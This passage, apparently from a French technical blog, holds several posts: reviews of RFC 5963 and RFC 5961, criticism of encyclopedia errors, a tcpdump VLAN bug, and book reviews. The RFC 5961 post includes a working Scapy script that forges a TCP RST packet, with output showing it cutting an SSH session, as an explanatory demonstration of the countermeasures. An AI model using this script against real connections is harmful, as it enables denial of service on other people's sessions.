  • Encoder le numéro d'AS en décimal dans les 64 bits. Ainsi, si le point d'échange utilise le préfixe 2001:db8:f00f::/64 et qu'un opérateur connecté a le numéro d'AS 64496, son adresse IP sera 2001:db8:f00f::6:4496:1 (le 1 tout à fait à droite vient de la réservation des 16 derniers bits pour mettre plusieurs routeurs par opérateur connecté, si nécessaire).
  • Certains préfèrent l'hexadécimal, moins lisible mais plus compact, donc ici 2001:db8:f00f::fbf0:1.
  • Une autre méthode est de dériver l'adresse IPv6 de la v4. donc un routeur qui aurait 192.0.2.123 en v4 recevra 2001:db8:f00f::123 en v6 (ce n'est qu'un exemple, le RFC en cite un autre, qui permet des points d'échange de plus de 256 routeurs, contrairement à mon choix de ne garder que le dernier octet).
  • etc (d'autres méthodes sont possibles).

Ces adresses IP du point d'échange doivent-elles être routées globalement ? Le débat a toujours fait rage pour IPv4 et n'est pas différent ici. Les adresses routées globalement facilitent la configuration et le débogage mais peuvent rendre le point d'échange plus vulnérable à certaines attaques. Si on ne route pas globalement ces adresses, les participants au point d'échange peuvent toujours le faire eux-même dans leur réseau, en prenant soin d'utiliser des méthodes comme la communauté no-export de BGP, pour éviter que les annonces des routes vers le point d'échange ne se propagent trop loin. Enfin, le point d'échange a aussi des services publics (pages Web, serveur DNS, serveurs NTP, etc) et ceux-ci doivent évidemment être installés sur des adresses routables, que ce soit dans le même préfixe que celles des routeurs des participants ou bien dans un préfixe différent.

Une des particularités d'un point d'échange est que les routeurs qui y sont présents appartiennent à des organisations différentes, souvent concurrentes. Le réseau Ethernet partagé n'est donc pas forcément peuplé que par des gentils paquets, on y trouve un peu de tout, des annonces OSPF aux serveurs DHCP illicites... La section 4 mentionne ce problème et ses conséquences pour la sécurité et note que le gérant du point d'échange peut, par exemple, limiter l'utilisation de la diffusion (qui sont transmis à tous) aux paquets de découverte des voisins (RFC 4861. En tout cas, bloquer les paquets Router Advertisement (qui ne devraient jamais apparaître sur le réseau du point d'échange) est conseillé.

Tiens, puisqu'on a parlé du DNS, la section 5 lui est consacrée. Elle recommande que les adresses IP du point d'échange aient un enregistrement « inverse » (enregistrement PTR) dans le DNS, pour faire de plus jolis traceroute et, de manière générale, pour faciliter le débogage.

Un autre service très populaire sur les points d'échange est le serveur de routes, discuté en section 6. Il sert parfois à échanger réellement des routes entre pairs, et parfois simplement de looking glass. Voir par exemple le looking glass du DE-CIX. Notre RFC recommande qu'il soit accessible en IPv6 mais surtout qu'il gère les extensions à BGP des RFC 2545 et RFC 4760, qui permettent de gérer plusieurs familles d'adresses IP, donc de gérer des routes IPv6. Une autre recommandation est que les routes IPv6 soient échangées sur des sessions IPv6 (ce qui n'est pas obligatoire avec BGP), pour améliorer la cohérence de l'information de routage (si un pair BGP reçoit des informations sur IPv6, il peut être sûr que le pair qui lui annonce des routes IPv6 est lui-même effectivement joignable par ce protocole).

Enfin, la section 7 traite les cas « divers ». Par exemple, un des points peu spectaculaire, mais souvent critique, d'une transition vers IPv6 est l'adaptation des systèmes d'avitaillement (la base de données qui stocke les adresses des participants au point d'échange...) : ces systèmes doivent eux aussi être migrés de manière à pouvoir gérer des adresses IPv6.

La section 8 couvre le cas des politiques d'accès au point d'échange. Les règles d'utilisation doivent bien préciser si le contrat concerne seulement IPv4, seulement IPv6 ou bien les deux. Je me souviens, il y a quelques années (les choses ont peut-être changé depuis) que le contrat avec le Sfinx ne couvrait qu'IPv4 (alors que l'organisme qui gère le Sfinx se vantait de son rôle pionnier en IPv6) et qu'il fallait une paperasserie longue et compliquée pour pouvoir faire de l'IPv6. Notez que notre RFC ne formule pas de recommandation précise sur la politique idéale. Pour moi, le contrat devrait couvrir IP, quelle que soit sa version, car il n'existe aucune justification opérationnelle pour traiter IPv6 comme un « plus », imposant un contrat nouveau.

Pour un bon survol des points d'échange IPv6, voir https://prefix.pch.net/applications/ixpdir/summary/ipv6/.


Téléchargez le RFC 5963


L'article seul

Les belles erreurs de l'Encyclopædia Universalis

Première rédaction de cet article le 29 août 2010


Comme il y a encore des gens (de plus en plus rares) qui prétendent, contre toute évidence, que les encyclopédies traditionnelles comme l'Encyclopædia Universalis sont plus fiables et mieux vérifiées qu'une encyclopédie collaborative comme Wikipédia, je publie ici la lettre que j'ai envoyée le 24 juin à l'Encyclopædia Universalis, à propos des erreurs dans leur article sur Internet.

L'Encyclopædia Universalis n'est pas consultable librement en ligne. Donc, je ne peux pas dire si l'article a été corrigé. En tout cas, je n'ai jamais reçu de réponse. Voici quelles étaient mes remarques au sujet de http://www.universalis-edu.com/encyclopedie/internet-les-applications/ (l'abonnement est payant donc cet URL ne marchera que si vous êtes abonné).

Un ami m'a fait lire l'article http://www.universalis-edu.com/encyclopedie/internet-les-applications/. Il contient des erreurs plutôt sérieuses. Je ne cite que les trois premières :

  • Le TLD espagnol est .ES pas .SP.
  • Dire que « RIPE-NCC (Réseaux IP européens-Network Coordination Center) a reçu de l'I.C.A.N.N. la gestion des noms de domaine pour l'Europe. » est complètement faux. Le RIPE-NCC gère les adresses IP et n'a pas d'activité sur les noms de domaine. Des énormités pareilles ne vont pas aider les lecteurs à comprendre les délicats rouages de la gouvernance d'Internet. Le seul élément de vérité est le fait que, il y a une quinzaine d'années, avant donc la création de l'ICANN, le RIPE-NCC avait participé à la gestion de certains TLD européens. Ce n'est plus le cas depuis longtemps (et, de toute façon, cela n'a rien à voir avec l'ICANN).
  • « La référence MIME (multi purpose mail extension, RFC 822) » Ce vieux RFC est antérieur à MIME de dix ans ! MIME a été normalisé dans le RFC 1341 en juin 1992. Il est pourtant facile de vérifier l'index des RFC :-(

La lecture de cet article donne à penser qu'il a été rédigé par des gens qui ne connaissaient pas le sujet et, pire, qu'il n'a pas été relu par des experts. Compte-tenu du sérieux de ces erreurs, je compte sur une prompte correction, qui montrerait que les encyclopédies traditionnelles apportent réellement un plus par rapport à Wikipédia.

Voici ce que j'avais écrit à l'Encyclopædia Universalis, via leur formulaire de contact en ligne, et qui n'a jamais reçu de réponse. Notez bien que j'ai arrêté ma lecture très vite, après trois erreurs aussi énormes. D'autres attendaient certainement derrière.

Ces erreurs sont-elles graves ? Pas forcément mais elles montrent une extrême négligence. Par exemple, donner comme exemple de TLD .SP pour l'Espagne montre à la fois une grande paresse (rien n'est plus facile que de vérifier la liste des TLD) et un manque de familiarité avec les noms de domaine (ce qui n'est pas grave pour l'internaute lambda mais est bien plus sérieux lorsqu'on prétend faire une encyclopédie de référence).

Même chose pour l'erreur sur MIME : rien n'était plus facile que de vérifier le RFC 822 et de voir qu'il ne disait pas un mot de MIME.

Et, surtout, si l'erreur est humaine, ne pas corriger les problèmes signalés est quoi ?


L'article seul

RFC 5961: Improving TCP's Robustness to Blind In-Window Attacks

Date de publication du RFC : Août 2010
Auteur(s) du RFC : A. Ramaiah (Cisco Systems), R. Stewart (Huawei), M. Dalal (Cisco Systems)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF tcpm
Première rédaction de cet article le 27 août 2010
Dernière mise à jour le 10 août 2016


Le protocole TCP, à la base de la grande majorité des transferts de données sur l'Internet, souffre depuis longtemps de plusieurs vulnérabilités. L'une d'elles est sa susceptibilité à des attaques par injection de faux paquets, qui ne proviennent pas d'une des deux extrémités de la connexion TCP. Un sous-ensemble de ces attaques, les attaques en aveugle, concerne les cas où l'attaquant n'est même pas sur le chemin entre les deux extrémités (on dit qu'il est off-path) et doit deviner les numéros de séquence TCP pour que ses faux paquets soient acceptés. Ce nouveau RFC expose le problème et des moyens d'en limiter les effets. (Il a été depuis partiellement mis à jour par le RFC 9293.)

Le problème des attaques en aveugle était traditionnellement considéré comme de peu d'importance. En effet, pour que le paquet injecté soit accepté comme légitime, il devait reproduire adresses IP source et destination, ports source et destination et un numéro de séquence situé dans la fenêtre. (Le concept de numéro de séquence TCP est décrit dans le RFC 793, section 3.3. Chaque octet transmis a un numéro de séquence et, à un moment donné, seule une plage de numéros, la fenêtre, est acceptable, car envoyée mais non encore reçue et validée.) À partir du moment où le numéro de séquence initial est choisi de manière non prédictible (ce qui n'a pas toujours été le cas, cf. RFC 6528, mais est désormais fait dans toutes les mises en œuvre de TCP), un attaquant aveugle, qui ne peut pas sniffer le réseau, n'a guère de chance de deviner juste et donc de fabriquer un faux qui soit accepté. (Voir le RFC 4953 pour les détails sur les attaques contre TCP.)

Mais les choses changent. En raison de l'augmentation de capacité des réseaux, les fenêtres TCP voient leur taille accrue, améliorant les chances de l'attaquant. Et certaines sessions TCP sont très longues (par exemple avec BGP ou avec H.323), avec des adresses IP et des ports prévisibles. En profitant de ces faiblesses, un attaquant peut alors voir ses faux paquets acceptés, et effectuer ainsi des DoS (si le faux paquet est un RST, qui coupe la connexion) ou modifiant les données (si le faux paquet contient des données).

La section 1 du RFC résume ce problème, aggravé par des implémentations comme celles de BGP qui utilisent souvent des ports prévisibles des deux côtés (même du côté client, où ce n'est pas obligatoire). La section 1.2 décrit en détail comment conduire une telle attaque, en prenant l'exemple d'une attaque RST, visant à couper des connexions TCP. La principale difficulté pour l'attaquant est que le numéro de séquence du paquet portant le bit RST doit se situer dans la fenêtre de réception actuelle (mais, bien sûr, l'attaquant a le droit d'injecter plusieurs paquets, pour essayer plusieurs fenêtres potentielles). Les chances du succès du méchant dépendent donc de la taille de la fenêtre. Elle est en général assez facile à déterminer (et cela donne une bonne idée du nombre d'essais qu'il faudra faire). Une fois qu'il a une idée du numéro de séquence utilisé, l'attaquant peut alors commencer à envoyer des paquets RST, incrémentant le numéro de séquence par la taille de la fenêtre, à chaque nouvel essai. Au bout d'un moment, il a de fortes chances de tomber juste. Les calculs complets se trouvent dans l'article de Watson, « Slipping in the Window: TCP Reset attacks, Presentation at 2004 CanSecWest » et la question est également traitée dans le RFC 4953. La section 1.3 de notre RFC contient également ces calculs de probabilité de réussite.

Le fait que l'attaquant puisse , selon les règles du RFC 793, utiliser n'importe quel numéro de séquence situé dans la fenêtre de réception lui facilite la tâche (en moyenne, seulement 2^31/$WindowSize essais). Changer TCP pour n'accepter les RST que si le numéro de séquence est exactement celui attendu protégerait sérieusement, obligeant l'attaquant à bien plus d'essais (2^31 en moyenne). Sans ce changement, avec une fenêtre typique de 32 768 octets, 65 536 paquets suffisent pour une attaque réussie, en moyenne. Et les tailles des fenêtres tendent à augmenter, en raison de l'augmentation de capacité des réseaux, ce qui rend l'attaque de plus en plus facile.

Voici d'ailleurs un exemple d'attaque menée avec un programme en Python utilisant l'excellente bibliothèque Scapy, qui permet de fabriquer facilement des paquets IP de son goût. Ici, je triche un peu en me connectant sur la machine visée, pour relever numéro de port et numéro de séquence. Dans une attaque réelle, le méchant devrait faire une boucle qui essaie toutes les valeurs possibles. Je ne l'ai pas fait ici car je ne veux pas faciliter la tâche des script kiddies et, de toute façon, Scapy est bien trop lent pour cela (n'oubliez pas que le numéro de séquence se modifie sans cesse donc un attquant lent a peu de chances). Mon but est de montrer cette attaque en pratique, pas de fournir un outil de coupure des sessions TCP. Voici donc le programme :

#!/usr/bin/env python

# Good readings:
# http://www.packetstan.com/2010/06/scapy-code-for-bad-ack-reset.html
# http://www.sans.org/reading_room/whitepapers/testing/taste-scapy_33249

from scapy import *
# Recent Scapys:
#from scapy.all import * 
import random
import sys

if len(sys.argv) != 6:
    sys.stderr.write("Usage: %s src-ip src-port dst-ip dst-port seq-number\n" % sys.argv[0])
    sys.exit(1)
ip_src = sys.argv[1]
ip_dst = sys.argv[3]
port_src = int(sys.argv[2])
port_dst = int(sys.argv[4])
seq_n = int(sys.argv[5])

ip=IP(src=ip_src, dst=ip_dst)
reset=TCP(flags="R", sport=port_src, dport=port_dst, seq=seq_n)
send(ip/reset, verbose=1) 

Ce code génère un paquet TCP portant l'option 'R' (Reset). Ici, la victime va être un PC sous Ubuntu, avec le noyau Linux 2.6.31. 192.168.2.25 se connecte en SSH (port 22) vers 192.168.2.7. Un tcpdump sur 192.168.2.25 nous montre le port source (42696) et le numéro de séquence (1307609026, n'oubliez pas l'option -S pour avoir le numéro de séquence brut et pas un numéro renormalisé) :

22:27:28.264874 IP 192.168.2.7.22 > 192.168.2.25.42696: \
         Flags [P.], seq 1307608946:1307609026, ack 3382006564, win
	 4197, \
         options [nop,nop,TS val 169 ecr 68744645], length 80

Je lance le programme d'attaque, sur une machine tierce :

% sudo python reset-one-tcp.py 192.168.2.7 22 192.168.2.25  42696 1307609100
.
Sent 1 packets.

tcpdump montre le faux paquet arrivant :

22:28:51.519376 IP 192.168.2.7.22 > 192.168.2.25.42696: Flags [R], seq 1307609100, win 8192, length 0

et la session SSH est coupée :

Read from remote host 192.168.2.7: Connection reset by peer
Connection to 192.168.2.7 closed.

Notez que je n'ai pas utilisé le numéro de séquence exact, j'ai ajouté 84, pour illustrer le fait qu'il suffit de taper dans la fenêtre, pas forcément pile au bon endroit. Si on veut maintenant adapter ce programme pour une vraie attaque en aveugle, on ne connait pas en général le port source, ni le numéro de séquence (les deux derniers paramètres de la commande reset-one-tcp.py) et il faut donc ajouter deux boucles et envoyer beaucoup de paquets.

Il existe bien sûr d'autres protections (que l'obligation d'avoir le numéro de séquence) exact contre cette attaque, variables en coût et en complexité. IPsec, l'authentification TCP-AO du RFC 5925, etc. Des ports source choisis de manière réellement aléatoire aident aussi.

Les sections suivantes décrivent en détail les différentes possibilités d'une attaque en aveugle, ainsi que les méthodes à utiliser pour les rendre moins efficaces. Ainsi, la section 3 décrit les attaques utilisant le bit RST (ReSeT) du paquet TCP. Le RFC 793 (section 3.4) précise que la connexion doit être coupée lorsqu'un paquet portant ce bit est reçu (si le numéro de séquence est bien dans la fenêtre). Une mise en œuvre correcte de TCP est donc vulnérable à des paquets envoyés en aveugle, si l'attaquant peut trouver un bon numéro de séquence. Comment limiter les risques de ce déni de service ? La section 3.2 de notre RFC décrit le mécanisme suggéré, remplaçant l'algorithme du RFC 793 : ne couper la connexion que si le paquet entrant a pile le bon numéro de séquence. Si le numéro n'est pas celui attendu, mais figure néanmoins dans la fenêtre, envoyer un accusé de réception. Puisque l'attaquant aveugle ne pourra pas le recevoir, il ne pourra pas confirmer le reset (contrairement au pair légitime, qui recevra l'accusé de réception et, ayant coupé la connexion de son côté, renverra un RST qui sera, lui, accepté, puisque son numéro de séquence correspondra audit accusé). Un tel algorithme complique donc nettement les choses pour l'attaquant. Son principal inconvénient est qu'un RST légitime, mais qui n'a pas pile le bon numéro de séquence (par exemple parce que le paquet précédent a été perdu) ne coupera pas la session TCP légitime, il faudra attendre la confirmation.

Voici une illustration de ce principe en prenant cette fois comme victime un système NetBSD (noyau 5.0.1). On garde le même programme, 192.168.2.25 se connecte toujours à 192.168.2.7 mais, cette fois, on va diriger les paquets Reset vers 192.168.2.7. Relevons, avec tcpdump, port (55854) et numéro de séquence (1901397904) :

22:35:12.306829 IP 192.168.2.25.55854 > 192.168.2.7.22: P 1901397856:1901397904(48) \
     ack 3669275671 win 347 <nop,nop,timestamp 68860664 86>

Et attaquons en tapant un peu au-dessus du bon numéro de séquence :

% sudo python reset-one-tcp.py 192.168.2.25 55854  192.168.2.7 22 1901397909
.
Sent 1 packets.

Le résultat est :

22:36:41.508530 IP 192.168.2.25.55854 > 192.168.2.7.22: \
         R 1901397909:1901397909(0) win 8192
22:36:41.508559 IP 192.168.2.7.22 > 192.168.2.25.55854: \
         . ack 1901397904 win 4197 <nop,nop,timestamp 368 68860664>

On voit le paquet d'attaque et le ACK de confirmation, disant « Ah, tu m'a envoyé un RST pour l'octet 1901397909 mais j'attendais le 1901397904 ». Le vrai pair ne va évidemment pas confirmer le ReSeT et l'attaque échoue. (Si on envoie pile le bon numéro de séquence, l'attaque réussit quand même. Mais elle est bien plus dure pour l'attaquant, qui ne peut pas profiter de la taille de la fenêtre.)

Et si l'attaquant met le bit SYN (SYNchronize) à un ? La section 4 rappelle qu'une fois la connexion TCP établie, un paquet portant ce bit, toujours si le numéro de séquence figure dans la fenêtre, va couper la connexion. La section 4.2 demande donc que, pour tout paquet SYN reçu après l'établissement initial de la connexion, quel que soit son numéro de séquence, on envoie un accusé de réception. L'attaquant aveugle ne le verra pas et ne pourra pas confirmer. Le pair légitime qui avait envoyé un SYN (ce qui ne devrait pas arriver en temps normal et signifie probablement que le pair avait perdu tout souvenir de la connexion, par exemple suite à un redémarrage) enverra alors un RST puisque, pour lui, la session n'est pas ouverte.

Les deux attaques précédentes (RST et SYN) étaient des dénis de service. Mais on peut imaginer une attaque bien pire où le méchant réussit à injecter de fausses données dans une connexion TCP. Elle fait l'objet de la section 5. Si le méchant peut trouver un numéro de séquence dans la fenêtre, ses paquets de données seront acceptés et pourront être présentés à l'application qui utilise TCP (le succès effectif de l'attaque dépend d'un certain nombre de points, et peut dépendre de la mise en œuvre de TCP utilisée).

Pour contrer cette attaque, la section 5.2 demande de durcir les conditions d'acceptation des paquets de données. Davantage de paquets légitimes seront donc rejetés, afin de pouvoir compliquer la vie de l'attaquant.

À noter (section 6) que les recommandations des trois précédentes sections ne sont pas formulées avec la même force. Utilisant le vocabulaire du RFC 2119, les deux premières sont des fortes recommandations (SHOULD) et la troisième seulement une suggestion (MAY). En effet, une injection de données par un attaquant est bien plus difficile (car les vraies données finiront par arriver, avec un numéro de séquence légèrement différent, ce qui peut mener TCP à refuser soit les fausses, soit les vraies) et ne justifie donc pas d'imposer des contre-mesures qui peuvent mener au rejet de paquets légitimes.

Dernier conseil, celui de la section 7, la nécessité de limiter la quantité d'accusés de réception (ACK) émis. Avec les contre-mesures des sections 3 à 5, le nombre de paquets ACK va augmenter. La section 7 suggère donc de les limiter, par exemple à dix ACK de confirmation pour toute période de cinq secondes (et que ces chiffres soient réglables par l'administrateur système, variable sysctl net.ipv4.tcp_challenge_ack_limit sur Linux).

On notera que le RFC ne précise pas que le compteur du limiteur doit être par connexion (comme dans le RFC 6528). Résultat, au moins chez Linux, c'est un compteur global, ce qui peut servir à communiquer des informations cruciales pour aider l'attaquant (vulnérabilité CVE-2016-5696, décrite dans l'article « Off-Path TCP Exploits: Global Rate Limit Considered Dangerous »). Deux leçons à en tirer : la sécurité, c'est difficile (corriger une bogue peut en ajouter d'autres) et la limitation de trafic, parce qu'elle change le trafic (évidemment), peut avoir des conséquences imprévues. Un nouvel Internet-Draft a été proposé, discutant de ce problème et des solutions.

En attendant, un truc possible pour limiter les dégâts de cette faille sur Linux serait de faire :

echo $RANDOM > /proc/sys/net/ipv4/tcp_challenge_ack_limit

mais de le faire souvent : l'attaque peut prendre bien moins d'une minute. (Je n'ai pas testé ce truc, dû à x0rz.) Une solution analogue (avoir une limite variant de manière aléatoire) est dans un patch du noyau Linux.

Les recommandations de notre RFC 5961 modifient légèrement le protocole TCP. Cela nécessite donc une section 8, décrivant les problèmes de compatibilité qui peuvent se poser entre deux mises en œuvre de TCP, l'une conforme à notre nouveau RFC 5961, l'autre plus ancienne. Normalement, les modifications du protocole sont 100 % compatibles avec le TCP existant. La section 8 décrit toutefois un cas limite où la coupure d'une connexion nécessitera un aller-retour supplémentaire.

D'autre part, le succès complet des contre-mesures décrites dans ce RFC impose qu'elles soient déployées des deux côtés. Une mise en œuvre moderne de TCP parlant à un vieux pair ne fournirait pas une protection complète.

Dernier problème avec les nouveaux algorithmes : le cas des middleboxes, ces équipements qui se mettent sur le trajet de deux machines IP qui communiquent et qui brisent souvent la transparence du réseau (par exemple les pare-feux). La section 9 examine les problèmes qu'elles peuvent poser. Par exemple, certains équipements ré-envoient le RST pour le compte du vrai pair TCP (section 9.1) et, s'ils ne mettent pas en œuvre les recommandations de ce RFC, peuvent ne pas traiter correctement le ACK de demande de confirmation. Ce genre de problèmes survient souvent lorsqu'une middlebox est « ni chair, ni poisson », ni un pur routeur transparent aux paquets de la couche 4 (TCP), ni un vrai pair TCP. Autre exemple cité (section 9.3), un équipement intermédiaire qui, en voyant passer le RST, supprimerait toute l'information associée à cette connexion TCP. Le ACK de demande de confirmation pourrait alors être jeté, et ne recevrait donc pas de réponse, laissant ainsi une connexion TCP ouverte.

Enfin, la traditionnelle section « Security Considerations » (section 10) synthétise l'ensemble des questions liées à ces contre-mesures. Elle rappelle notamment que le problème traité par ce RFC ne concerne que les attaques en aveugle, typiquement lorsque l'attaquant n'est pas sur le chemin des paquets. S'il l'est, par exemple si l'un des deux pairs TCP est sur un réseau Wi-Fi public, les contre-mesures des sections 3 à 5 ne s'appliquent pas, car elles peuvent facilement être contournées par un attaquant en mesure de regarder les paquets, et de voir quel est le numéro de séquence à utiliser. Ce fut le cas par exemple dans les attaques menées par Comcast contre ses propres clients ou bien dans celles perpétrées par la dictature chinoise.

Même dans le cas d'une attaque en aveugle, les contre-mesures de notre RFC n'empêchent pas l'attaque, elles la rendent simplement beaucoup plus difficile. Un attaquant chanceux peut donc encore réussir, même contre des implémentations de TCP parfaitement à jour. La section 10 rappelle (vœu pieux) que la seule vraie protection serait de généraliser IPsec (par exemple avec l'ESP du RFC 4303).

D'autre part, ce RFC 5961 ne traite que les attaques faites uniquement avec TCP mais ICMP fournit aux attaquants aveugles d'autres possibilités (traitées dans le RFC 5927). Une mise en œuvre sérieuse de TCP doit donc traiter également ces attaques ICMP.

Aucun médicament n'est sans effet secondaire et c'est également le cas ici. Les contre-mesures de notre RFC peuvent créer des possibilités d'attaque par réflexion, si l'attaquant déguise son adresse IP : des paquets comme l'ACK de demande de confirmation seront alors envoyés à un innocent. Le RFC estime ce problème peu grave car il n'y a pas amplification : l'attaquant pourrait donc aussi bien viser directement la victime.


Téléchargez le RFC 5961


L'article seul

Un exemple de panne amusante de tcpdump

Première rédaction de cet article le 26 août 2010


Voici un cas rigolo qui m'est arrivé hier. Soit une machine Debian/Linux où les programmes de capture de paquets (comme tcpdump) tout marchaient autrefois. Tout à coup, plus aucun filtre BPF ne trouve un seul paquet...

tcpdump sans argument donne le résultat attendu :

% sudo tcpdump -i eth1 -n
12:36:40.723290 IP 193.243.207.47.31619 > 192.93.0.129.53: 40691 [1au] MX? doublev.fr. (39)
12:36:40.723440 IP 192.93.0.129.53 > 193.243.207.47.31619: 40691- 0/2/3 (112)
12:36:40.723480 IP 212.96.9.225.2123 > 192.93.0.129.53: 46420+ MX? fema.fr. (25)
12:36:40.723634 IP 192.93.0.129.53 > 212.96.9.225.2123: 46420- 0/2/0 (81)
...

Mais aucun filtre BPF ne trouve ne serait-ce qu'un seul paquet. Dès que je mets comme argument port 53, ou udp ou même ip, je n'ai plus aucun paquet. Par contre, les filtres not ip ou bien not port NN (pour n'importe quelle valeur de NN) me montrent le trafic... Le problème affecte tous les programmes utilisant la libpcap, pas seulement tcpdump.

La machine a deux interfaces dont une seule a ce problème (sur l'autre, même puce donc même driver, tcpdump marche bien). L'interface à problème n'est pas utilisée par la machine elle-même, elle reçoit du trafic uniquement par port mirroring.

Si j'enregistre les paquets avec l'option -w et que je tente de relire avec un filtre, zéro réponse :

% tcpdump -n -r /tmp/tcpdump-eth1.pcap | wc -l
reading from file /tmp/tcpdump-eth1.pcap, link-type EN10MB (Ethernet)
5722

% tcpdump -n -r /tmp/tcpdump-eth1.pcap ip | wc -l
reading from file /tmp/tcpdump-eth1.pcap, link-type EN10MB (Ethernet)
0

Utiliser l'option -O (ne pas optimiser le code BPF) ne change rien. Vider les caches ou même redémarrer la machine, au cas où un rayon cosmique aie corrompu la mémoire ne change rien non plus.

Arrivé là, voyez si vous avez trouvé la solution...

Mon collègue Antonio Kin-Foo a trouvé. La configuration réseau avait été refaite et le commutateur Ethernet Foundry trouvait drôle de désormais taguer les paquets. C'est ce que montrait tcpdump si on utilise l'option -e (afficher la couche 2). Au lieu de « ethertype IPv4 (0x0800) » pour des paquets IPv4, on voyait « ethertype 802.1Q (0x8100) ». Lorsque les paquets sont ainsi tagués, tcpdump sait se débrouiller dans certains cas (il formatait correctement les paquets) mais pas dans d'autres (définition du filtre). D'autre part, si l'encapsulation/décapsulation VLAN est gérée par le matériel de la carte ou par le système d'exploitation, parfois tcpdump n'a plus de problèmes puisqu'il ne voit plus le tag 802.1Q.

Le bon moyen est de rajouter pour réparer le filtre est d'ajouter vlan and. Par exemple, pour les paquets DNS :

tcpdump -n -i eth1 vlan and port 53

J'ai dû aussi modifier le code de l'outil que j'utilisais pour analyser les paquets. Quelque chose du genre (en C) :

        size_layer2 = SIZE_ETHERNET;
        ethernet = (struct sniff_ethernet *) (packet);
        ethertype = ntohs(ethernet->ether_type);
        if (ethertype == VLAN_ETHERTYPE) {  /* NEW: if the packets are
	tagged, move four bytes forward */
            packet += 4;
            ethernet = (struct sniff_ethernet *) (packet);
            ethertype = ntohs(ethernet->ether_type);
        }
        if (ethertype == IPv6_ETHERTYPE) {
            ip_version = 6;
        } else if (ethertype == IPv4_ETHERTYPE) {
            ip_version = 4;
        } else {                /* Ignore other Ethernet types */
            goto next_packet;
        }

L'article seul

Fiche de lecture : Real world Haskell

Auteur(s) du livre : Bryan O'Sullivan, John Goerzen, Don Stewart
Éditeur : O'Reilly
978-0-596-51498-3
Publié en 2009
Première rédaction de cet article le 26 août 2010


Les langages de programmation fonctionnels ont la réputation d'être uniquement utilisés pour des problèmes mathématiques abstraits et jamais pour des vrais programmes dans le vrai monde avec des vrais utilisateurs. Il existe plusieurs livres pour apprendre Haskell mais celui-ci a un angle original, exposé dans le titre : utiliser Haskell pour des problèmes « réels ».

Donc, finis les exemples empruntés aux maths. Ce livre montre comment utiliser Haskell pour analyser du JSON, pour faire un programme de recherche dans le système de fichiers, un analyseur de fichiers PGM, un analyseur de code-barres, pour finir avec un client Web et un filtre de Bloom (note pour ceux qui ont lu le code source de Squid : ce programme utilise de tels filtres).

Tout l'attirail de Haskell est expliqué (les monades, l'évaluation paresseuse, map/fold, etc) mélé aux interfaces vers le monde réel (bases de données, analyse syntaxique, etc).

Une lecture recommandée pour tous les programmeurs, même ceux qui n'envisagent pas d'utiliser Haskell, cela leur ouvrira les idées.

Le livre a aussi un excellent site Web qui permet de tout lire en ligne. Le livre avait d'ailleurs été écrit suite à un intense processus collaboratif en ligne et les exemples ont été choisis et relus ainsi.


L'article seul

Ré-apprenons le BASIC pendant les vacances

Première rédaction de cet article le 25 août 2010


Dans un grenier, j'ai mis la main sur un manuel de 1984, « Une merveille de simplicité / ALICE / Découvrez le Basic » coédité par Matra et Hachette avec une préface de Jean-Luc Lagardère, dirigeant à l'époque des deux entreprises. Le manuel documentait le micro-ordinateur ALICE, de Matra (en fait, fabriqué par Tandy). L'ALICE était muni en ROM d'un BASIC de Microsoft.

Ce BASIC était d'ailleurs son seul shell. Toute interaction avec la machine passait par des commandes BASIC. Le langage était vraiment minimum (même une technique aussi simple que l'indentation pour améliorer la lisibilité des programmes n'existait pas). De mes activités BASIC de l'époque, je ne me souvenais clairement que du fait qu'une variable stockait un nombre, sauf si son nom était suivi d'un $, indiquant que la variable stockait une chaîne de caractères. J'ai révisé le reste : le GOTO était largement utilisé pour presque tout (il y avait quand même des sous-programmes, se terminant par RETURN, et des vraies boucles avec FOR). La seule méthode d'analyse présentée était l'organigramme. Les programmes étaient stockés sur un mécanisme séquentiel, une simple cassette de magnétophone (instructions CSAVE et CLOAD).

L'ordinateur était à la hauteur de ce langage, avec un microprocesseur 6803, 16K de RAM (le manuel que j'ai lu documente la seconde version de l'ALICE, la première avait encore moins), et pas d'écran : il fallait le connecter à son téléviseur familial via le classique câble Péritel.

Heureuse époque où il ne faisait pas de doute que tout le monde devrait apprendre un minimum de programmation pour pouvoir se servir d'un ordinateur ! Le manuel, plutôt bien fait pourtant, est intarissable sur les détails pratiques (du genre, comment allumer un point vert sur l'écran, avec SET(X, Y, 1), 1 étant le vert), moins disert sur la méthodologie et l'analyse, et complètement muet sur les applications réalistes possibles (les exemples donnés sont essentiellement des jeux vidéos ultra-simples). Le manuel de l'ALICE servait à la fois d'introduction à une machine, à un langage et à la programmation en général, bien trop de choses pour 204 pages. Vu le caractère très sommaire du langage et de son environnement, vue l'absence complète du concept de bibliothèque, pas étonnant que l'ALICE n'ait pas nourri un grand nombre de vocations de programmeur.

Pire, comme l'ordinateur ne disposait pas de connexion au réseau, et que la seule possibilité d'échange de programmes passe par le magnétophone, les efforts des uns ne pouvaient pas servir aux autres : chacun était condamné à réinventer son Nième programme de gestion d'hôtel (un des exemples donnés). Pourtant, à la même époque, Unix disposait déjà d'une large bibliothèque de programmes que ses utilisateurs s'échangeaient, via Internet ou UUCP.

Où en est-on aujourd'hui ? On est plutôt passé à l'extrême opposé : la programmation est vue comme un repoussoir (cf. la publicité d'Apple associant l'apprentissage de la programmation à celle de l'alphabet Morse) et on demande surtout à l'utilisateur de ne rien faire d'autre que cliquer sur des endroits pré-définis.

À l'époque, l'utilisation de l'ordinateur semblait à la fois utile et plaisante, comme l'illustre la couverture du manuel, due à Moebius lui-même, dans le style psychédélique des années 70. Le ton du manuel se voulait léger, du genre « La nouvelle valeur de A écrase l'ancienne. Place aux jeunes ! » (encore un slogan qui marque bien son époque...) Aujourd'hui, le ton des manuels est tout aussi exaspérant (les auteurs étant convaincus que l'utilisateur est un abruti et qu'il faut lui parler jeune) mais les ambitions ont beaucoup diminué. En 1984, on pensait naïvement que tout le monde deviendrait programmeur. En 2010, on n'a pas d'autre perspective que de consommer des programmes existants, sans participer à leur création.

La couverture : alice-basic-moebius.jpg


L'article seul

Remarkable creatures, de Tracy Chevalier

Première rédaction de cet article le 24 août 2010


Depuis des millions d'années, elles étaient là, dans les roches de la côte Sud de l'Angleterre. Depuis des milliers d'années, des hommes habitaient là, sans les voir. Ce n'étaient que des cailloux. Mais, en ce début du 19ème siècle, le regard change. Désormais, on voit les fossiles de ces créatures remarquables. Désormais, on les étudie, on les collectionne, on les achète. C'est ce monde en train de changer, ce monde qui commence à accepter l'idée que les êtres vivants n'ont pas toujours été comme aujourd'hui, qui sert de cadre au dernier roman de Tracy Chevalier, Remarkable creatures.

